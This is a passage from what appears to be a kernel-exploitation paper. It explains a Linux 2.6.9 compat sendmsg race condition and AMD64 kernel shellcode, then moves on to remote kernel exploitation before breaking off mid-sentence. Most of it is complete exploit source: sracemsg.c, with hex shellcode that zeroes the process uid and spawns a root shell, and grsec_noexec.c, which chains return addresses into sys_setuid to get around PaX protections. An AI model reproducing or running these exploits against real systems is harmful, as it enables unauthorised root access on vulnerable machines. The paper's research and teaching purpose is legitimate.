impact, or even, if recompiled, with some benefit from the extended number of registers, thanks to the sometimes-called 'compatibility mode') and 'Legacy mode', for 32-bit operating systems, which is basically just like having a standard x86 processor environment. Even if we won't use all of them in the sendmsg exploit, we're going now to sum a couple of interesting features of the AMD64 architecture : - The number of general purpose register has been extended from 8 up to 16. The registers are all 64-bit long (referred with 'r[name|num]', f.e. rax, r10). Just like what happened when took over the transition from 16-bit to 32-bit, the lower 32-bit of general purpose register are accessible with the 'e' prefix (f.e. eax). - push/pop on the stack are 64-bit operations, so 8 bytes are pushed/popped each time. Pointers are 64-bit too and that allows a theorical virtual address space of 2^64 bytes. As happens for the UltraSPARC architecture, current implementations address a limited virtual address space (2^48 bytes) and thus have a VA-hole (the least significant 48 bits are used and bits from 48 up to 63 must be copies of bit 47 : the hole is thus between 0x7FFFFFFFFFFF and 0xFFFF800000000000). This limitation is strictly implementation-dependant, so any future implementation might take advantage of the full 2^64 bytes range. - It is now possible to reference data relative to the Instruction Pointer register (RIP). This is both a good and a bad news, since it makes easier writing position independent (shell)code, but also makes it more efficient (opening the way for more performant PIE-alike implementations) - The (in)famous NX bit (bit 63 of the page table entry) is implemented and so pages can be marked as No-Exec by the operating system. This is less an issue than over UltraSPARC since actually there's no operating system which implements a separated userspace/kernelspace addressing, thus leaving open space to the use of the 'return-to-userspace' tecnique. - AMD64 doesn't support anymore (in 'long mode') the use of segmentation. This choice makes harder, in our opinion, the creation of a separated user/kernel address space. Moreover the FS and GS registers are still used for different pourposes. As we'll see, the Linux Operating System keeps the GS register pointing to the 'current' PDA (Per Processor Data Structure). (check : /include/asm-x86_64/pda.h struct x8664_pda .. anyway we'll get back on that in a short). After this brief summary (if you want to learn more about the AMD64 architecture you can check the reference manuals at [3]) it is time now to focus over the 'real vulnerability', the sendmsg [5] one : "When we copy 32bit ->msg_control contents to kernel, we walk the same userland data twice without sanity checks on the second pass. Moreover, if original looks small enough, we end up copying to on-stack array." < linux-2.6.9/net/compat.c > int cmsghdr_from_user_compat_to_kern(struct msghdr *kmsg, unsigned char *stackbuf, int stackbuf_size) { struct compat_cmsghdr __user *ucmsg; struct cmsghdr *kcmsg, *kcmsg_base; compat_size_t ucmlen; __kernel_size_t kcmlen, tmp; kcmlen = 0; kcmsg_base = kcmsg = (struct cmsghdr *)stackbuf; [1] [...] while(ucmsg != NULL) { if(get_user(ucmlen, &ucmsg->cmsg_len)) [2] return -EFAULT; /* Catch bogons. */ if(CMSG_COMPAT_ALIGN(ucmlen) < CMSG_COMPAT_ALIGN(sizeof(struct compat_cmsghdr))) return -EINVAL; if((unsigned long)(((char __user *)ucmsg - (char __user *)kmsg->msg_control) + ucmlen) > kmsg->msg_controllen) [3] return -EINVAL; tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) + CMSG_ALIGN(sizeof(struct cmsghdr))); kcmlen += tmp; [4] ucmsg = cmsg_compat_nxthdr(kmsg, ucmsg, ucmlen); } [...] if(kcmlen > stackbuf_size) [5] kcmsg_base = kcmsg = kmalloc(kcmlen, GFP_KERNEL); [...] while(ucmsg != NULL) { __get_user(ucmlen, &ucmsg->cmsg_len); [6] tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) + CMSG_ALIGN(sizeof(struct cmsghdr))); kcmsg->cmsg_len = tmp; __get_user(kcmsg->cmsg_level, &ucmsg->cmsg_level); __get_user(kcmsg->cmsg_type, &ucmsg->cmsg_type); /* Copy over the data. */ if(copy_from_user(CMSG_DATA(kcmsg), [7] CMSG_COMPAT_DATA(ucmsg), (ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))))) goto out_free_efault; < / > As it is said in the advisory, the vulnerability is a double-reference to some userland data (at [2] and at [6]) without sanitizing the value the second time it is got from the userland (at [3] the check is performed, instead). That 'data' is the 'size' of the user-part to copy-in ('ucmlen'), and it's used, at [7], inside the copy_from_user. This is a pretty common scenario for a race condition : if we create two different threads, make the first one enter the codepath and , after [4], we manage to put it to sleep and make the scheduler choice the other thread, we can change the 'ucmlen' value and thus perform a 'buffer overflow'. The kind of overflow we're going to perform is 'decided' at [5] : if the len is little, the buffer used will be in the stack, otherwise it will be kmalloc'ed. Both the situation are exploitable, but we've chosen the stack based one (we have already presented a slab exploit for the Linux operating system before). We're going to use, inside the exploit, the tecnique we've presented in the subsection before to force a process to sleep, that is making it access data on a cross page boundary (with the second page never referenced before nor already swapped in by the page clustering mechanism) : +------------+ --------> 0x20020000 [MMAP_ADDR + 32 * PAGE_SIZE] [*] | | | cmsg_len | first cmsg_len starts at 0x2001fff4 | cmsg_level | first struct compat_cmsghdr | cmsg_type | |------------| --------> 0x20020000 [cross page boundary] | cmsg_len | second cmsg_len starts at 0x20020000) | cmsg_level | second struct compat_cmsghdr | cmsg_type | | | +------------+ --------> 0x20021000 [*] One of those so-called 'runtime adjustement'. The page clustering wasn't showing the expected behaviour in the first 32 mmaped-pages, while was just working as expected after. As we said, we're going to perform a stack-based explotation writing past the 'stackbuf' variable. Let's see where we get it from : < linux-2.6.9/net/socket.c > asmlinkage long sys_sendmsg(int fd, struct msghdr __user *msg, unsigned flags) { struct compat_msghdr __user *msg_compat = (struct compat_msghdr __user *)msg; struct socket *sock; char address[MAX_SOCK_ADDR]; struct iovec iovstack[UIO_FASTIOV], *iov = iovstack; unsigned char ctl[sizeof(struct cmsghdr) + 20]; unsigned char *ctl_buf = ctl; struct msghdr msg_sys; int err, ctl_len, iov_size, total_len; [...] if ((MSG_CMSG_COMPAT & flags) && ctl_len) { err = cmsghdr_from_user_compat_to_kern(&msg_sys, ctl, sizeof(ctl)); [...] < / > The situation is less nasty as it seems (at least on the systems we tested the code on) : thanks to gcc reordering the stack variables we get our 'msg_sys' struct placed as if it was the first variable. That simplifies a lot our exploiting task, since we don't have to take care of 'emulating' in userspace the structure referenced between our overflow and the 'return' of the function (for example the struct sock). Exploiting in this 'second case' would be slightly more complex, but doable aswell. The shellcode for the exploit is not much different (as expected, since the AMD64 is a 'superset' of the x86 architecture) from the ones provided before for the Linux/x86 environment, netherless we've two focus on two important different points : the 'thread/task struct dereference' and the 'userspace context switch approach'. For the first point, let's start analyzing the get_current() implementation : < linux-2.6.9/include/asm-x86_64/current.h > #include static inline struct task_struct *get_current(void) { struct task_struct *t = read_pda(pcurrent); return t; } #define current get_current() [...] #define GET_CURRENT(reg) movq %gs:(pda_pcurrent),reg < / > < linux-2.6.9/include/asm-x86_64/pda.h > struct x8664_pda { struct task_struct *pcurrent; /* Current process */ unsigned long data_offset; /* Per cpu data offset from linker address */ struct x8664_pda *me; /* Pointer to itself */ unsigned long kernelstack; /* top of kernel stack for current */ [...] #define pda_from_op(op,field) ({ \ typedef typeof_field(struct x8664_pda, field) T__; T__ ret__; \ switch (sizeof_field(struct x8664_pda, field)) { \ case 2: \ asm volatile(op "w %%gs:%P1,%0":"=r" (ret__):"i"(pda_offset(field)):"memory"); break;\ [...] #define read_pda(field) pda_from_op("mov",field) < / > The task_struct is thus no more into the 'current stack' (more precisely, referenced from the thread_struct which is actually saved into the 'current stack'), but is stored into the 'struct x8664_pda'. This struct keeps many information relative to the 'current' process and the CPU it is running over (kernel stack address, irq nesting counter, cpu it is running over, number of NMI on that cpu, etc). As you can see from the 'pda_from_op' macro, during the execution of a Kernel Path, the address of the 'struct x8664_pda' is kept inside the %gs register. Moreover, the 'pcurrent' member (which is the one we're actually interested in) is the first one, so obtaining it from inside a shellcode is just a matter of doing a : movq %gs:0x0, %rax From that point on the 'scanning' to locate uid/gid/etc is just the same used in the previously shown exploits. The second point which quite differs from the x86 case is the 'restore' part (which is, also, a direct consequence of the %gs using). First of all we have to do a '64-bit based' restore, that is we've to push the 64-bit registers RIP,CC,RFLAGS,RSP and SS and call, at the end, the 'iretq' instruction (the extended version of the 'iret' one on x86). Just before returning we've to remember to perform the 'swapgs' instruction, which swaps the %gs content with the one of the KernelGSbase (MSR address C000_0102h). If we don't perform the gs restoring, at the next syscall or interrupt the kernel will use an invalid value for the gs register and will just crash. Here's the shellcode in asm inline notation : void stub64bit() { asm volatile ( "movl %0, %%esi\t\n" "movq %%gs:0, %%rax\n" "xor %%ecx, %%ecx\t\n" "1: cmp $0x12c, %%ecx\t\n" "je 4f\t\n" "movl (%%rax), %%edx\t\n" "cmpl %%esi, %%edx\t\n" "jne 3f\t\n" "movl 0x4(%%rax),%%edx\t\n" "cmp %%esi, %%edx\t\n" "jne 3f\t\n" "xor %%edx, %%edx\t\n" "movl %%edx, 0x4(%%rax)\t\n" "jmp 4f\t\n" "3: add $4,%%rax\t\n" "inc %%ecx\t\n" "jmp 1b\t\n" "4:\t\n" "swapgs\t\n" "movq $0x000000000000002b,0x20(%%rsp)\t\n" "movq %1,0x18(%%rsp)\t\n" "movq $0x0000000000000246,0x10(%%rsp)\t\n" "movq $0x0000000000000023,0x8(%%rsp)\t\n" "movq %2,0x0(%%rsp)\t\n" "iretq\t\n" : : "i"(UID), "i"(STACK_OFFSET), "i"(CODE_OFFSET) ); } With UID being the 'uid' of the current running process and STACK_OFFSET and CODE_OFFSET the address of the stack and code 'segment' we're returning into in userspace. All those values are taken and patched at runtime in the exploit 'make_kjump' function : < stuff/expl/linux/sracemsg.c > #define PAGE_SIZE 0x1000 #define MMAP_ADDR ((void*)0x20000000) #define MMAP_NULL ((void*)0x00000000) #define PAGE_NUM 128 #define PATCH_CODE(base,offset,value) \ *((uint32_t *)((char*)base + offset)) = (uint32_t)(value) #define fatal_errno(x,y) { perror(x); exit(y); } struct cmsghdr *g_ancillary; /* global shared value to sync threads for race */ volatile static int glob_race = 0; #define UID_OFFSET 1 #define STACK_OFF_OFFSET 69 #define CODE_OFF_OFFSET 95 [...] int make_kjump(void) { void *stack_map = mmap((void*)(0x11110000), 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(stack_map == MAP_FAILED) fatal_errno("mmap", 1); void *shellcode_map = mmap(MMAP_NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(shellcode_map == MAP_FAILED) fatal_errno("mmap", 1); memcpy(shellcode_map, kernel_stub, sizeof(kernel_stub)-1); PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid()); PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111); PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit); } < / > The rest of the exploit should be quite self-explanatory and we're going to show the code here after in a short. Note the lowering of the priority inside start_thread_priority ('nice(19)'), so that we have some more chance to win the race (the 'glob_race' variable works just like a spinning lock for the main thread - check 'race_func()'). As a last note, we use the 'rdtsc' (read time stamp counter) instruction to calculate the time that intercurred while trying to win the race. If this gap is high it is quite probable that a scheduling happened. The task of 'flushing all pages' (inside page cache), so that we'll be sure that we'll end using demand paging on cross boundary access, is not implemented inside the code (it could have been easily added) and is left to the exploit runner. Since we have to create the file with controlled data, those pages end up cached in the page cache. We have to force the subsystem into discarding them. It shouldn't be hard for you, if you followed the discussion so far, to perform tasks that would 'flush the needed pages' (to disk) or add code to automatize it. (hint : mass find & cat * > /dev/null is an idea). Last but not least, since the vulnerable function is inside 'compat.c', which is the 'compatibility mode' to run 32-bit based binaries, remember to compile the exploit with the -m32 flag. < stuff/expl/linux/sracemsg.c > #include #include #include #include #include #include #include #include #include #include #include #include #define PAGE_SIZE 0x1000 #define MMAP_ADDR ((void*)0x20000000) #define MMAP_NULL ((void*)0x00000000) #define PAGE_NUM 128 #define PATCH_CODE(base,offset,value) \ *((uint32_t *)((char*)base + offset)) = (uint32_t)(value) #define fatal_errno(x,y) { perror(x); exit(y); } struct cmsghdr *g_ancillary; /* global shared value to sync threads for race */ volatile static int glob_race = 0; #define UID_OFFSET 1 #define STACK_OFF_OFFSET 69 #define CODE_OFF_OFFSET 95 char kernel_stub[] = "\xbe\xe8\x03\x00\x00" // mov $0x3e8,%esi "\x65\x48\x8b\x04\x25\x00\x00\x00\x00" // mov %gs:0x0,%rax "\x31\xc9" // xor %ecx,%ecx (15 "\x81\xf9\x2c\x01\x00\x00" // cmp $0x12c,%ecx "\x74\x1c" // je 400af0 "\x8b\x10" // mov (%rax),%edx "\x39\xf2" // cmp %esi,%edx "\x75\x0e" // jne 400ae8 "\x8b\x50\x04" // mov 0x4(%rax),%edx "\x39\xf2" // cmp %esi,%edx "\x75\x07" // jne 400ae8 "\x31\xd2" // xor %edx,%edx "\x89\x50\x04" // mov %edx,0x4(%rax) "\xeb\x08" // jmp 400af0 "\x48\x83\xc0\x04" // add $0x4,%rax "\xff\xc1" // inc %ecx "\xeb\xdc" // jmp 400acc "\x0f\x01\xf8" // swapgs (54 "\x48\xc7\x44\x24\x20\x2b\x00\x00\x00" // movq $0x2b,0x20(%rsp) "\x48\xc7\x44\x24\x18\x11\x11\x11\x11" // movq $0x11111111,0x18(%rsp) "\x48\xc7\x44\x24\x10\x46\x02\x00\x00" // movq $0x246,0x10(%rsp) "\x48\xc7\x44\x24\x08\x23\x00\x00\x00" // movq $0x23,0x8(%rsp) /* 23 32-bit , 33 64-bit cs */ "\x48\xc7\x04\x24\x22\x22\x22\x22" // movq $0x22222222,(%rsp) "\x48\xcf"; // iretq void eip_do_exit(void) { char *argvx[] = {"/bin/sh", NULL}; printf("uid=%d\n", geteuid()); execve("/bin/sh", argvx, NULL); exit(1); } /* * This function maps stack and code segment * - 0x0000000000000000 - 0x0000000000001000 (future code space) * - 0x0000000011110000 - 0x0000000011112000 (future stack space) */ int make_kjump(void) { void *stack_map = mmap((void*)(0x11110000), 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(stack_map == MAP_FAILED) fatal_errno("mmap", 1); void *shellcode_map = mmap(MMAP_NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(shellcode_map == MAP_FAILED) fatal_errno("mmap", 1); memcpy(shellcode_map, kernel_stub, sizeof(kernel_stub)-1); PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid()); PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111); PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit); } int start_thread_priority(int (*f)(void *), void* arg) { char *stack = malloc(PAGE_SIZE*4); int tid = clone(f, stack + PAGE_SIZE*4 -4, CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg); if(tid < 0) fatal_errno("clone", 1); nice(19); sleep(1); return tid; } int race_func(void* noarg) { printf("[*] thread racer getpid()=%d\n", getpid()); while(1) { if(glob_race) { g_ancillary->cmsg_len = 500; return; } } } uint64_t tsc() { uint64_t ret; asm volatile("rdtsc" : "=A"(ret)); return ret; } struct tsc_stamp { uint64_t before; uint64_t after; uint32_t access; }; struct tsc_stamp stamp[128]; inline char *flat_file_mmap(int fs) { void *addr = mmap(MMAP_ADDR, PAGE_SIZE*PAGE_NUM, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, fs, 0); if(addr == MAP_FAILED) fatal_errno("mmap", 1); return (char*)addr; } void scan_addr(char *memory) { int i; for(i=1; iaccess, entry->after - entry->before); } void print_result() { int i; for(i=1; imsg_control = ((ancillary + 32*PAGE_SIZE) - sizeof(struct cmsghdr)); msg->msg_controllen = sizeof(struct cmsghdr) * 2; /* set global var thread race ancillary data chunk */ g_ancillary = msg->msg_control; struct cmsghdr* tmp = (struct cmsghdr *)(msg->msg_control); tmp->cmsg_len = sizeof(struct cmsghdr); tmp->cmsg_level = 0; tmp->cmsg_type = 0; tmp++; tmp->cmsg_len = sizeof(struct cmsghdr); tmp->cmsg_level = 0; tmp->cmsg_type = 0; tmp++; memset(tmp, 0x00, 172); } int main() { struct tsc_stamp single_stamp = {0}; struct msghdr msg = {0}; memset(&stamp, 0x00, sizeof(stamp)); int fd = open("/tmp/file", O_RDWR); if(fd == -1) fatal_errno("open", 1); char *addr = flat_file_mmap(fd); fill_ancillary(&msg, addr); munmap(addr, PAGE_SIZE*PAGE_NUM); close(fd); make_kjump(); sync(); printf("Flush all pages and press a enter:)\n"); getchar(); fd = open("/tmp/file", O_RDWR); if(fd == -1) fatal_errno("open", 1); addr = flat_file_mmap(fd); int t_pid = start_thread_priority(race_func, NULL); printf("[*] thread main getpid()=%d\n", getpid()); start_flush_access(addr, 32); int sc[2]; int sp_ret = socketpair(AF_UNIX, SOCK_STREAM, 0, sc); if(sp_ret < 0) fatal_errno("socketpair", 1); single_stamp.access = (uint32_t)g_ancillary; single_stamp.before = tsc(); glob_race =1; sendmsg(sc[0], &msg, 0); single_stamp.after = tsc(); print_single_result(&single_stamp); kill(t_pid, SIGKILL); munmap(addr, PAGE_SIZE*PAGE_NUM); close(fd); return 0; } < / > ------[ 3 - Advanced scenarios In an attempt to ''complete'' our tractation on kernel exploiting we're now going to discuss two 'advanced scenarios' : a stack based kernel exploit capable to bypass PaX [18] KERNEXEC and Userland / Kernelland split and an effective remote exploit, both for the Linux kernel. ---[ 3.1 - PaX KERNEXEC & separated kernel/user space The PaX KERNEXEC option emulates a no-exec bit for pages at kernel land on an architecture which hasn't it (x86), while the User / Kerne Land split blocks the 'return-to-userland' approach that we have extensively described and used in the paper. With those two protections active we're basically facing the same scenario we encountered discussing the Solaris/SPARC environment, so we won't go in more details here (to avoid duplicating the tractation). This time, thou, we won't have any executable and controllable memory area (no u_psargs array), and we're going to present a different tecnique which doesn't require to have one. Even if the idea behind applyes well to any no-exec and separated kernel/userspace environment, as we'll see in a short, this approach is quite architectural (stack management and function call/return implementation) and Operating System (handling of credentials) specific. Moreover, it requires a precise knowledge of the .text layout of the running kernel, so at least a readable image (which is a default situation on many distros, on Solaris, and on other operating systems we checked) or a large or controlled infoleak is necessary. The idea behind is not much different from the theory behind 'ret-into-libc' or other userland exploiting approaches that attempt to circumvent the non executability of heap and stack : as we know, Linux associates credentials to each process in term of numeric values : < linux-2.6.15/include/linux/sched.h > struct task_struct { [...] /* process credentials */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; [...] } < / > Sometimes a process needs to raise (or drop, for security reasons) its credentials, so the kernel exports systemcalls to do that. One of those is sys_setuid : < linux-2.6.15/kernel/sys.c > asmlinkage long sys_setuid(uid_t uid) { int old_euid = current->euid; int old_ruid, old_suid, new_ruid, new_suid; int retval; retval = security_task_setuid(uid, (uid_t)-1, (uid_t)-1, LSM_SETID_ID); if (retval) return retval; old_ruid = new_ruid = current->uid; old_suid = current->suid; new_suid = old_suid; if (capable(CAP_SETUID)) { [1] if (uid != old_ruid && set_user(uid, old_euid != uid) < 0) return -EAGAIN; new_suid = uid; } else if ((uid != current->uid) && (uid != new_suid)) return -EPERM; if (old_euid != uid) { current->mm->dumpable = suid_dumpable; smp_wmb(); } current->fsuid = current->euid = uid; [2] current->suid = new_suid; key_fsuid_changed(current); proc_id_connector(current, PROC_EVENT_UID); return security_task_post_setuid(old_ruid, old_euid, old_suid, LSM_SETID_ID); } < / > As you can see, the 'security' checks (out of the LSM security_* entry points) are performed at [1] and after those, at [2] the values of fsuid and euid are set equal to the value passed to the function. sys_setuid is a system call, so, due to systemcall convention, parameters are passed in register. More precisely, 'uid' will be passed in '%ebx'. The idea is so simple (and not different from 'ret-into-libc' [19] or other userspace page protection evading tecniques like [20]), if we manage to have 0 into %ebx and to jump right in the middle of sys_setuid (and right after the checks) we should be able to change the 'euid' and 'fsuid' of our process and thus raise our priviledges. Let's see the sys_setuid disassembly to better tune our idea : [...] c0120fd0: b8 00 e0 ff ff mov $0xffffe000,%eax [1] c0120fd5: 21 e0 and %esp,%eax c0120fd7: 8b 10 mov (%eax),%edx c0120fd9: 89 9a 6c 01 00 00 mov %ebx,0x16c(%edx) [2] c0120fdf: 89 9a 74 01 00 00 mov %ebx,0x174(%edx) c0120fe5: 8b 00 mov (%eax),%eax c0120fe7: 89 b0 70 01 00 00 mov %esi,0x170(%eax) c0120fed: 6a 01 push $0x1 c0120fef: 8b 44 24 04 mov 0x4(%esp),%eax c0120ff3: 50 push %eax c0120ff4: 55 push %ebp c0120ff5: 57 push %edi c0120ff6: e8 65 ce 0c 00 call c01ede60 c0120ffb: 89 c2 mov %eax,%edx c0120ffd: 83 c4 10 add $0x10,%esp [3] c0121000: 89 d0 mov %edx,%eax c0121002: 5e pop %esi c0121003: 5b pop %ebx c0121004: 5e pop %esi c0121005: 5f pop %edi c0121006: 5d pop %ebp c0121007: c3 ret At [1] the current process task_struct is taken from the kernel stack value. At [2] the %ebx value is copied over the 'euid' and 'fsuid' members of the struct. We have our return address, which is [1]. At that point we need to force somehow %ebx into being 0 (if we're not lucky enough to have it already zero'ed). To demonstrate this vulnerability we have used the local exploitable buffer overflow in dummy.c driver (KERN_IOCTL_STORE_CHUNK ioctl() command). Since it's a stack based overflow we can chain multiple return address preparing a fake stack frame that we totally control. We need : - a zero'ed %ebx : the easiest way to achieve that is to find a pop %ebx followed by a ret instruction [we control the stack] : ret-to-pop-ebx: [*] c0100cd3: 5b pop %ebx [*] c0100cd4: c3 ret we don't strictly need pop %ebx directly followed by ret, we may find a sequence of pops before the ret (and, among those, our pop %ebx). It is just a matter of preparing the right ZERO-layout for the pop sequence (to make it simple, add a ZERO 4-bytes sequence for any pop between the %ebx one and the ret) - the return addr where to jump, which is the [1] address shown above - a 'ret-to-ret' padding to take care of the stack gap created at [3] by the function epilogue (%esp adding and register popping) : ret-to-ret pad: [*] 0xffffe413 c3 ret (we could have used the above ret aswell, this one is into vsyscall page and was used in other exploit where we didn't need so much knowledge of the kernel .text.. it survived here :) ) - the address of an iret instruction to return to userland (and a crafted stack frame for it, as we described above while discussing 'Stack Based' explotation) : ret-to-iret: [*] c013403f: cf iret Putting all together this is how our 'stack' should look like to perform a correct explotation : low addresses +----------------+ | ret-to-ret pad | | ret-to-ret pad | | .............. | | ret-to-pop ebx | | 0x00000000 | | ret-to-setuid | | ret-to-ret pad | | ret-to-ret pad | | ret-to-ret pad | | ............. | | ............. | | ret-to-iret | | fake-iret-frame| +----------------+ high addresses Once correctly returned to userspace we have successfully modified 'fsuid' and 'euid' value, but our 'ruid' is still the original one. At that point we simply re-exec ourselves to get euid=0 and then spawn the shell. Code follows : < stuff/expl/grsec_noexec.c > #include #include #include #include #include #include #include #include #include #include "dummy.h" #define DEVICE "/dev/dummy" #define NOP 0x90 #define PAGE_SIZE 0x1000 #define STACK_SIZE 8192 //#define STACK_SIZE 4096 #define STACK_MASK ~(STACK_SIZE -1) /* patch it at runtime */ #define ALTERNATE_STACK 0x00BBBBBB /*2283d*/ #define RET_INTO_RET_STR "\x3d\x28\x02\x00" #define DUMMY RET_INTO_RET_STR #define ZERO "\x00\x00\x00\x00" /* 22ad3 */ #define RET_INTO_POP_EBX "\xd3\x2a\x02\x00" /* 1360 */ #define RET_INTO_IRET "\x60\x13\x00\x00" /* 227fc */ #define RET_INTO_SETUID "\xfc\x27\x02\x00" // do_eip at .text offset (rivedere) // 0804864f #define USER_CODE_OFFSET "\x4f\x86\x04\x08" #define USER_CODE_SEGMENT "\x73\x00\x00\x00" #define USER_EFLAGS "\x46\x02\x00\x00" #define USER_STACK_OFFSET "\xbb\xbb\xbb\x00" #define USER_STACK_SEGMENT "\x7b\x00\x00\x00" /* sys_setuid - grsec kernel */ /* 227fc: 89 e2 mov %esp,%edx 227fe: 89 f1 mov %esi,%ecx 22800: 81 e2 00 e0 ff ff and $0xffffe000,%edx 22806: 8b 02 mov (%edx),%eax 22808: 89 98 50 01 00 00 mov %ebx,0x150(%eax) 2280e: 89 98 58 01 00 00 mov %ebx,0x158(%eax) 22814: 8b 02 mov (%edx),%eax 22816: 89 fa mov %edi,%edx 22818: 89 a8 54 01 00 00 mov %ebp,0x154(%eax) 2281e: c7 44 24 18 01 00 00 movl $0x1,0x18(%esp) 22825: 00 22826: 8b 04 24 mov (%esp),%eax 22829: 5d pop %ebp 2282a: 5b pop %ebx 2282b: 5e pop %esi 2282c: 5f pop %edi 2282d: 5d pop %ebp 2282e: e9 ef d5 0c 00 jmp efe22 22833: 83 ca ff or $0xffffffff,%edx 22836: 89 d0 mov %edx,%eax 22838: 5f pop %edi 22839: 5b pop %ebx 2283a: 5e pop %esi 2283b: 5f pop %edi 2283c: 5d pop %ebp 2283d: c3 ret */ /* pop %ebx, ret grsec * * ffd1a884: 5b pop %ebx * ffd1a885: c3 ret */ char *g_prog_name; char kern_noexec_shellcode[] = RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_POP_EBX ZERO RET_INTO_SETUID RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_POP_EBX RET_INTO_RET_STR RET_INTO_RET_STR RET_INTO_IRET USER_CODE_OFFSET USER_CODE_SEGMENT USER_EFLAGS USER_STACK_OFFSET USER_STACK_SEGMENT ; void re_exec(int useless) { char *a[3] = { g_prog_name, "exec", NULL }; execve(g_prog_name, a, NULL); } char *allocate_jump_stack(unsigned int jump_addr, unsigned int size) { unsigned int round_addr = jump_addr & 0xFFFFF000; unsigned int diff = jump_addr - round_addr; unsigned int len = (size + diff + 0xFFF) & 0xFFFFF000; char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); if(map_addr == (char*)-1) return NULL; memset(map_addr, 0x00, len); return map_addr; } char *allocate_jump_code(unsigned int jump_addr, void* code, unsigned int size) { unsigned int round_addr = jump_addr & 0xFFFFF000; unsigned int diff = jump_addr - round_addr; unsigned int len = (size + diff + 0xFFF) & 0xFFFFF000; char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, 0, 0); if(map_addr == (char*)-1) return NULL; memset(map_addr, NOP, len); memcpy(map_addr+diff, code, size); return map_addr + diff; } inline void patch_code_4byte(char *code, unsigned int offset, unsigned int value) { *((unsigned int *)(code + offset)) = value; } int main(int argc, char *argv[]) { if(argc > 1) { int ret; char *argvx[] = {"/bin/sh", NULL}; ret = setuid(0); printf("euid=%d, ret=%d\n", geteuid(), ret); execve("/bin/sh", argvx, NULL); exit(1); } signal(SIGSEGV, re_exec); g_prog_name = argv[0]; char *stack_jump = allocate_jump_stack(ALTERNATE_STACK, PAGE_SIZE); if(!stack_jump) { fprintf(stderr, "Exiting: mmap failed"); exit(1); } char *memory = malloc(PAGE_SIZE), *mem_orig; mem_orig = memory; memset(memory, 0xDD, PAGE_SIZE); struct device_io_ctl *ptr = (struct device_io_ctl*)memory; ptr->chunk_num = 9 + (sizeof(kern_noexec_shellcode)-1)/sizeof(struct device_io_blk) + 1; printf("Chunk num: %d\n", ptr->chunk_num); ptr->type = 0xFFFFFFFF; memory += (sizeof(struct device_io_ctl) + sizeof(struct device_io_blk) * 9); /* copy shellcode */ memcpy(memory, kern_noexec_shellcode, sizeof(kern_noexec_shellcode)-1); int i, fd = open(DEVICE, O_RDONLY); if(fd < 0) return 0; ioctl(fd, KERN_IOCTL_STORE_CHUNK, (unsigned long)mem_orig); return 0; } < / > As we said, we have chosen the PaX security patches for Linux/x86, but some of the theory presented equally works well in other situation. A slightly different exploiting approach was successfully used on Solaris/SPARC. (we leave it as an 'exercise' for the reader ;)) ---[ 3.2 - Remote Kernel Exploiting Writing a working and somehow reliable remote kernel exploit is an exciting and interesting challenge. Keeping on with the 'style' of this paper we're going to propose here a couple of tecniques and 'life notes' that leaded us into succeeding into writing an almost reliable, image independant and effective remote exploit. After the first draft of this paper, a couple of things changed, so some of the information presented here could be outdated in the very latest kernels (and compiler releases), but are anyway a good base for the tractation (we've added notes all around this chapter about changes and updates into the recent releases of the linux kernel). A couple of the ideas presented here converged into a real remote exploit for the madwifi remote kernel stack buffer overflow [21], that we already released [22], without examining too much in detail the explotation approaches used. This chapter can be thus seen both as the introduction and the extension of that work. More precisely we will cover here also the exploiting issues and solution when dealing with code running in interrupt context, which is the most common running mode for network based code (interrupt handler, softirq, etc) but which wasn't the case for the madwifi exploit. The same ideas apply well to kernel thread context too. Explotation tecniques and discussion is based on stack based buffer overflow on the Linux 2.6.* branch of kernels on the x86 architecture, but can be reused in most of the conditions that lead us to take control over the instruction flow. ------[ 3.2.1 - The Network Contest We begin with a few considerations about the typology of kernel code that we'll be dealing with. Most of that code runs in interrupt context (and sometimes in a kernel thread context), so we have some 'limitations' : - we can't directly 'return-to-userspace', since we don't have a valid current task pointer. Moreover, most of times, we won't control the address space of the userland process we talk with. Netherless we can relay on some 'fixed' points, like the ELF header (given there's no PIE / .text randomization on the remote box) - we can't perform any action that might make the kernel path to sleep (for example a memory fault access) - we can't directly call a system call - we have to take in account kernel resource management, since such kind of kernel paths usually acquire spinlocks or disables pre-emption. We have to restore them in a stable state. Logically, since we are from remote, we don't have any information about structs or kernel paths addresses, so, since a good infoleaking is usually a not very probable situation, we can't rely on them. We have prepared a crafted example that will let us introduce all the tecniques involved to solve the just stated problems. We choosed to write a netfilter module, since quite a lot of the network kernel code depends on it and it's the main framework for third 